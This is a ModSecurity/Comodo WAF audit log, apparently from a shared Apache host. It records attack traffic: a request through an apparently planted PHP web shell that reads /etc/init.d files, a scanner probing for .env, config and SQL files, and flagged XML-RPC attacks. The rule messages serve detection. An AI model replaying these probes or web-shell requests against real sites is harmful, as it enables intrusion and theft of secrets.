sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9e90e641-Z-- --2592ab62-A-- [16/Jun/2025:01:03:52.428513 +0530] aE8gID3D4g1mGjVnV5KHAgAAAAY 44.221.227.90 47894 127.0.0.1 7081 --2592ab62-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/init.d&viewfile=//etc/init.d/lvm2 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 44.221.227.90 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --2592ab62-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3356 Connection: close Content-Type: text/html; charset=UTF-8 --2592ab62-H-- Message: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/lvm2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8gID3D4g1mGjVnV5KHAgAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/lvm2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8gID3D4g1mGjVnV5KHAgAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750016032424146 4420 (- - -) Stopwatch2: 1750016032424146 4420; combined=2469, p1=399, p2=1872, p3=41, p4=39, p5=118, sr=134, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2592ab62-Z-- --8fba0d51-A-- [16/Jun/2025:01:03:53.826250 +0530] aE8gISKD19h5xDtM-2wc7AAAAAo 185.177.72.210 47910 127.0.0.1 7081 --8fba0d51-B-- GET /jupyter/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8fba0d51-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=930aa7f162da918cc300870bdb69f0531750016033; expires=Sun, 15 Jun 2025 20:33:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8fba0d51-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/jupyter/.env"] [unique_id "aE8gISKD19h5xDtM-2wc7AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016033059440 766902 (- - -) Stopwatch2: 1750016033059440 766902; combined=1853, p1=377, p2=1378, p3=0, p4=0, p5=97, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8fba0d51-Z-- --5be79a7f-A-- [16/Jun/2025:01:04:31.104157 +0530] aE8gRiLYlRp1nfGu7y5qbAAAAAQ 128.199.112.101 36004 127.0.0.1 7081 --5be79a7f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 488 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5be79a7f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5be79a7f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8gRiLYlRp1nfGu7y5qbAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016070144765 959460 (- - -) Stopwatch2: 1750016070144765 959460; combined=2320, p1=385, p2=1515, p3=44, p4=66, p5=191, sr=110, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5be79a7f-Z-- --3fd2f01e-A-- [16/Jun/2025:01:05:04.017684 +0530] aE8gZ4fvqn7_SDWw_wX2hAAAAAc 185.177.72.210 46460 127.0.0.1 7081 --3fd2f01e-B-- GET /.env.development.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3fd2f01e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4e09619c92b8264ebc2df36aa7ab2e3e1750016103; expires=Sun, 15 Jun 2025 20:35:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3fd2f01e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.development.local"] [unique_id "aE8gZ4fvqn7_SDWw_wX2hAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016103292219 725601 (- - -) Stopwatch2: 1750016103292219 725601; combined=2585, p1=570, p2=1871, p3=0, p4=0, p5=144, sr=145, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3fd2f01e-Z-- --45eb923f-A-- [16/Jun/2025:01:05:28.974363 +0530] aE8ggJnj7pFxi-BGHz6uDwAAAAI 185.177.72.210 42412 127.0.0.1 7081 --45eb923f-B-- GET /schema.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --45eb923f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=04fe335a3fc019503282f915ac200f381750016128; expires=Sun, 15 Jun 2025 20:35:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --45eb923f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/schema.sql"] [unique_id "aE8ggJnj7pFxi-BGHz6uDwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016128312559 661867 (- - -) Stopwatch2: 1750016128312559 661867; combined=1909, p1=339, p2=1487, p3=0, p4=0, p5=83, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --45eb923f-Z-- --1479f276-A-- [16/Jun/2025:01:05:31.882339 +0530] aE8gggW_rlaNA7qLBTtEcAAAAAs 128.199.112.101 45588 127.0.0.1 7081 --1479f276-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 488 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1479f276-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1479f276-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8gggW_rlaNA7qLBTtEcAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016130789570 1092824 (- - -) Stopwatch2: 1750016130789570 1092824; combined=1997, p1=347, p2=1265, p3=42, p4=60, p5=174, sr=92, sw=109, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1479f276-Z-- --d6c9ef6a-A-- [16/Jun/2025:01:05:39.793576 +0530] aE8gi5nj7pFxi-BGHz6uFgAAAAI 185.177.72.210 46028 127.0.0.1 7081 --d6c9ef6a-B-- GET /:10000/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d6c9ef6a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dec1a5b021cd75bbda258c2db3b567ed1750016139; expires=Sun, 15 Jun 2025 20:35:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d6c9ef6a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/dev/.env"] [unique_id "aE8gi5nj7pFxi-BGHz6uFgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016139123355 670283 (- - -) Stopwatch2: 1750016139123355 670283; combined=1633, p1=388, p2=1162, p3=0, p4=0, p5=83, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d6c9ef6a-Z-- --36c99034-A-- [16/Jun/2025:01:05:43.424227 +0530] aE8gji7MaF0j8lD2KTIY5wAAAAM 185.177.72.210 49890 127.0.0.1 7081 --36c99034-B-- GET /prisma/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --36c99034-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c05af3c60e21ee40a438f26fa26091411750016143; expires=Sun, 15 Jun 2025 20:35:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --36c99034-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/prisma/.env"] [unique_id "aE8gji7MaF0j8lD2KTIY5wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016142769368 654939 (- - -) Stopwatch2: 1750016142769368 654939; combined=1748, p1=445, p2=1207, p3=0, p4=0, p5=96, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36c99034-Z-- --b7e2561d-A-- [16/Jun/2025:01:05:48.201377 +0530] aE8gk-uqUCmpR0cewAv8lgAAAAE 185.177.72.210 50114 127.0.0.1 7081 --b7e2561d-B-- GET /msks/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b7e2561d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a0d8689af3aac04dbb4a1d1e73547c4e1750016148; expires=Sun, 15 Jun 2025 20:35:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b7e2561d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/msks/.env"] [unique_id "aE8gk-uqUCmpR0cewAv8lgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016147553780 647660 (- - -) Stopwatch2: 1750016147553780 647660; combined=1769, p1=424, p2=1259, p3=0, p4=0, p5=86, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b7e2561d-Z-- --94ba5159-A-- [16/Jun/2025:01:05:50.137877 +0530] aE8glS7MaF0j8lD2KTIY6gAAAAM 185.177.72.210 35170 127.0.0.1 7081 --94ba5159-B-- GET /config.ini.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --94ba5159-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=03d1e6940861100462414ee55ad82faf1750016150; expires=Sun, 15 Jun 2025 20:35:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --94ba5159-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".ini.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".ini.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.ini.bak"] [unique_id "aE8glS7MaF0j8lD2KTIY6gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016149497150 640786 (- - -) Stopwatch2: 1750016149497150 640786; combined=1728, p1=331, p2=1327, p3=0, p4=0, p5=70, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --94ba5159-Z-- --9a720d60-A-- [16/Jun/2025:01:05:54.166603 +0530] aE8gmSLYlRp1nfGu7y5qsQAAAAQ 185.177.72.210 35510 127.0.0.1 7081 --9a720d60-B-- GET /cpanel.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9a720d60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ed66d5a30a23f2cf364c74cb04b5cff51750016154; expires=Sun, 15 Jun 2025 20:35:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9a720d60-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/cpanel.config"] [unique_id "aE8gmSLYlRp1nfGu7y5qsQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016153463888 702802 (- - -) Stopwatch2: 1750016153463888 702802; combined=1947, p1=331, p2=1466, p3=0, p4=0, p5=149, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9a720d60-Z-- --bd5c2174-A-- [16/Jun/2025:01:05:55.144904 +0530] aE8gmi7MaF0j8lD2KTIY8QAAAAM 185.177.72.210 35658 127.0.0.1 7081 --bd5c2174-B-- GET /zebra.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bd5c2174-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=274e4164bf3d873bb3a48d732b5cbba91750016155; expires=Sun, 15 Jun 2025 20:35:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bd5c2174-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/zebra.conf"] [unique_id "aE8gmi7MaF0j8lD2KTIY8QAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016154488285 656697 (- - -) Stopwatch2: 1750016154488285 656697; combined=1989, p1=334, p2=1550, p3=0, p4=0, p5=105, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bd5c2174-Z-- --2a66415f-A-- [16/Jun/2025:01:06:00.368191 +0530] aE8gny7MaF0j8lD2KTIY-AAAAAM 185.177.72.210 35788 127.0.0.1 7081 --2a66415f-B-- GET /admin.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2a66415f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7510774dbe42fe7fe266420b703a8fb31750016160; expires=Sun, 15 Jun 2025 20:36:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2a66415f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against 